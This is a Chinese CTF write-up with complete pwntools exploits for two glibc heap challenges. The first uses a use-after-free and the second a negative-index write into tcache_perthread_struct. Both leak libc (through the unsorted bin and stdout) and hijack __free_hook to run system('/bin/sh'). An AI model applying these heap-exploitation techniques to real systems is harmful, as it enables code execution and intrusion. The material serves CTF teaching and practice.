# sh_v1.1

存在 UAF 漏洞,劫持 free_hook 即可
程序功能分析

  • touch:创建一个 chunk 并写入一些东西
  • rm:删除一个 chunk,无 UAF 漏洞
  • cat:打印一个 chunk 的内容
  • ln chunk1 chunk2:将 chunk2 指向 chunk1 指向的地址 (漏洞点,这里存在 UAF)

漏洞利用思路:先把 tcache 填满,然后 free 一个 chunk 到 unsorted bin 中,然后利用 UAF 泄露 main_arena+96 的地址,之后再次利用 UAF 改写 tcache 链将 free_hook 链入,然后申请出来,写入 system 的地址,最后将 /bin/sh 写入一个 chunk 中,然后释放这个 chunk 即可

n
from  pwn import *
#from LibcSearcher import *
p=remote('121.40.89.206',34883)
#libc=ELF('./libc-2.27.so')
#libc=ELF('./libc-2.31.so')
#libc=ELF('./libc-2.30.so')
libc=ELF('./libc-2.29.so')
context.log_level='debug'
def touch(filename,ctx):
	p.recvuntil('>>>>')
	cmd='touch '+filename
	p.sendline(cmd)
	p.sendline(ctx)
def rm(filename):
	p.recvuntil('>>>>')
	cmd='rm '+filename
	p.sendline(cmd)
def cat(filename):
	p.recvuntil('>>>>')
	cmd='cat '+filename
	p.sendline(cmd)
	return u64(p.recv(6).ljust(0x8,b'\x00'))
def ln(filename1,filename2):
	p.recvuntil('>>>>')
	cmd='ln '+filename1+' '+filename2
	p.sendline(cmd)
def ls():
	p.recvuntil('>>>>')
	p.sendline('ls')
def cp(filename1,filename2):
	p.recvuntil('>>>>')
	cmd='cp '+filename1+' '+filename2
	p.sendline(cmd)
def edit(filename,ctx):
	p.recvuntil('>>>>')
	cmd='gedit '+filename
	p.sendline(cmd)
	p.sendline(ctx)
touch('a1','aaaaaaaaaaaaaaaaa')
touch('a2','aaaaaaaaaaaaaaaaa')
touch('a3','aaaaaaaaaaaaaaaaa')
touch('a4','aaaaaaaaaaaaaaaaa')
touch('a5','aaaaaaaaaaaaaaaaa')
touch('a6','aaaaaaaaaaaaaaaaa')
touch('a7','aaaaaaaaaaaaaaaaa')
touch('a8','aaaaaaaaaaaaaaaaa')
touch('a9','aaaaaaaaaaaaaaaaa')
ln('a8','a10')
ln('a7','a11')
rm('a1')
rm('a2')
rm('a3')
rm('a4')
rm('a5')
rm('a6')
rm('a7')
rm('a8')
unsorted_bin_arena=cat('a10')
#libc_base=unsorted_bin_arena-96-0x3EBC40
#libc_base=unsorted_bin_arena-96-0x1ECB80
#libc_base=unsorted_bin_arena-96-0x1EAB80
libc_base=unsorted_bin_arena-96-0x1E4C40
# main_arena=unsorted_bin_arena-96
# libc=LibcSearcher('main_arena', main_arena)
# libc_base=main_arena-libc.dump('main_arena')
print(hex(libc_base+libc.sym['main_arena']))
print('libc base: ',hex(libc_base))
# libc=LibcSearcher("./sh_v1.1",int(heapaddr))
# print(hex(libc.dump('system')))
free_hook_addr=libc_base+libc.sym['__free_hook']
system_addr=libc_base+libc.sym['system']
# free_hook_addr=libc_base+libc.dump('__free_hook')
# system_addr=libc_base+libc.dump('system')
edit('a11',p64(free_hook_addr))
touch('a12','a')
touch('a13','a') #free_hook_addr
edit('a13',p64(system_addr))
edit('a12','/bin/sh\x00')
rm('a12')
p.interactive()

# three_edit

没有常见的漏洞,但存在一个可以写负数的漏洞,使得我们可以改写 tcache_struct

先上 exp

n
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn4'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
elf = ELF(file_name)
menu = 'is:'
def add(index, size, content):
    r.sendlineafter(menu, '1')
    r.sendlineafter('index:', str(index))
    r.sendlineafter('size:', str(size))
    r.sendlineafter('content:', content)
def delete(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('index?', str(index))
def edit(index, content):
    r.sendlineafter(menu, '3')
    r.sendlineafter('index?', str(index))
    r.sendlineafter('new content:', content)
while True:
    try:
        r = process(file_name)
        for i in range(12):
            add(i, 0x70, 'a' * 0x8)
        delete(0)
        delete(3)    #tcache 先进后出 chunk3=>chunk0
        edit(-60, p8(0xe0)) #  chunk3=>chunk_
        '''
        chunk0
        chunk_
        chunk1
        '''
        add(0, 0x70, 'a' * 8) # chunk0=chunk3
        add(3, 0x70, 'a' * 8) # chunk3=chunk_
        edit(3, p64(0) * 7 + p64(0x481)) # 修改 chunk1 的 size
 
        delete(1)   # chunk1=>unsorted bin
        delete(5)
        delete(2)
        delete(4)   # tcache: chunk4=>chunk2=>chunk5
        edit(-60, p8(0x20)) # chunk4=>chunk1
        edit(3, p64(0) * 7 + p64(0x81) + p16(0x56a0)) #修改 chunk1 大小还有修改 unsortedbin 后 2 个字节爆破 stdout
        add(1, 0x70, 'b' * 8) # chunk1=chunk4   
        add(5, 0x70, 'c' * 8) # chunk5=chunk1
        add(2, 0x70, p64(0xfbad1800) + p64(0) * 3 + p8(0)) # chunk2=stdout
        # chunk2=context 时会触发
        leak_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
        li('leak_addr = ' + hex(leak_addr))
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        libc = ELF('./libc-2.31.so')
        libc_base = leak_addr - libc.sym['_IO_2_1_stdin_']
        li('libc_base = ' + hex(libc_base))
        free_hook = libc.sym['__free_hook'] + libc_base
        li('free_hook = ' + hex(free_hook))
        one = [0xe3afe, 0xe3b01, 0xe3b04]
        one_gadget = one[1] + libc_base
        system_addr = libc_base + libc.sym['system']
        delete(0)
        delete(1) # chunk1(chunk4)=>chunk0(chunk3)
        edit(-60, p8(0x60)) # chunk1=>chunk__
        add(0, 0x70, 'd' * 8) # chunk0=chunk1(chunk4)
        '''
        chunk3
        chunk__
        chunk4
        '''
        add(1, 0x70, 'e' * 8) # chunk1=chunk__
        delete(10)          
        delete(0)       # chunk0=>chunk10
        edit(1, p64(0) * 7 + p64(0x81) + p64(free_hook)) # chunk0(chunk4)=>free_hook
        add(10, 0x70, '/bin/sh\x00')    # chunk10=chunk0
        add(0, 0x70, p64(system_addr))  # free_hook=system_addr
        delete(10)    # free(chunk10_)=system('/bin/sh')
        r.interactive()
    except:
        r.close()

# 调试分析

原理:第一次 malloc 时,会先 malloc 一块内存用来存放 tcache_perthread_struct

c
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;
# define TCACHE_MAX_BINS                64
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

而这个一开始分配的 chunk 的大小就是平时我们看到的最上面的大小为 0x291 的 chunk

# 漏洞点分析


# part1

n
delete(0)
delete(3)    #tcache 先进后出 chunk3=>chunk0
edit(-60, p8(0xe0)) #  chunk3=>chunk_
'''
chunk0
chunk_
chunk1
'''



查看最顶上的 chunk 的内容

可以发现我们释放的 chunk3 存在于 0x291 大小的 chunk 中,而我们 edit 的时候可以写入负数大小的 index,并且 heapaddr 数组也是通过 malloc 申请的,而题目中具体的写入位置是 heapaddr+index*8LL ,计算偏移
0x5633560e70c0=480-0x5633560e72a0=-480 ,那么 index=-480/8=-60 。此时我们就可以控制 chunk3 的 fd

# part2

n
add(0, 0x70, 'a' * 8) # chunk0=chunk3
add(3, 0x70, 'a' * 8) # chunk3=chunk_
edit(3, p64(0) * 7 + p64(0x481)) # 修改 chunk1 的 size

然后我们申请 chunk_,通过 chunk_来修改 chunk1 的大小
这里是所以要构造一个中间 chunk_,是因为我们没有 UAF 可以利用

此时 chunk1-chunk9 进行了 overlap

# part3

n
delete(1)   # chunk1=>unsorted bin
delete(5)
delete(2)
delete(4)   # tcache: chunk4=>chunk2=>chunk5

由于修改了 chunk1 的大小超出了 tcache 的范围,所以此时释放 chunk1 会进入 unsorted bin

# part4

n
edit(-60, p8(0x20)) # chunk4=>chunk1
edit(3, p64(0) * 7 + p64(0x81) + p16(0x56a0)) #修改 chunk1 大小还有修改 unsortedbin 后 2 个字节爆破 stdout

利用 part1 同样的手法,通过修改 chunk4 的 fd 的后两个字节来把 chunk1 链入 tcache 中,此时 chunk1 即在 tcache 中也再 unsorted 中

而在 part1 中我们保留了可以修改 chunk1 的方法,那么此时就可以修改 chunk1 的 fd 为 stdout ,但由于 stdout 不知道,所以我们需要爆破后两个字节

# part5

n
add(1, 0x70, 'b' * 8) # chunk1=chunk4   
add(5, 0x70, 'c' * 8) # chunk5=chunk1
add(2, 0x70, p64(0xfbad1800) + p64(0) * 3 + p8(0)) # chunk2=stdout
# chunk2=context 时会触发
leak_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

申请到 stdout ,然后修改 stdout 的结构体的 flagwrite_base ,使得可以读出 libc 上的地址 _IO_2_1_stdin_

# part6

n
libc = ELF('./libc-2.31.so')
libc_base = leak_addr - libc.sym['_IO_2_1_stdin_']
li('libc_base = ' + hex(libc_base))
free_hook = libc.sym['__free_hook'] + libc_base
li('free_hook = ' + hex(free_hook))
one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = one[1] + libc_base
system_addr = libc_base + libc.sym['system']

这部分就计算各个函数的真实地址了

# part6

n
delete(0)
delete(1) # chunk1(chunk4)=>chunk0(chunk3)
edit(-60, p8(0x60)) # chunk1=>chunk__
add(0, 0x70, 'd' * 8) # chunk0=chunk1(chunk4)
'''
chunk3
chunk__
chunk4
'''
add(1, 0x70, 'e' * 8) # chunk1=chunk__
delete(10)          
delete(0)       # chunk0=>chunk10
edit(1, p64(0) * 7 + p64(0x81) + p64(free_hook)) # chunk0(chunk4)=>free_hook
add(10, 0x70, '/bin/sh\x00')    # chunk10=chunk0
add(0, 0x70, p64(system_addr))  # free_hook=system_addr
delete(10)    # free(chunk10_)=system('/bin/sh')

这部分的利用手法和 part1 一模一样,攻击思路是劫持 free_hook

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

岚沐 WeChat Pay

WeChat Pay

岚沐 Alipay

Alipay

岚沐 PayPal

PayPal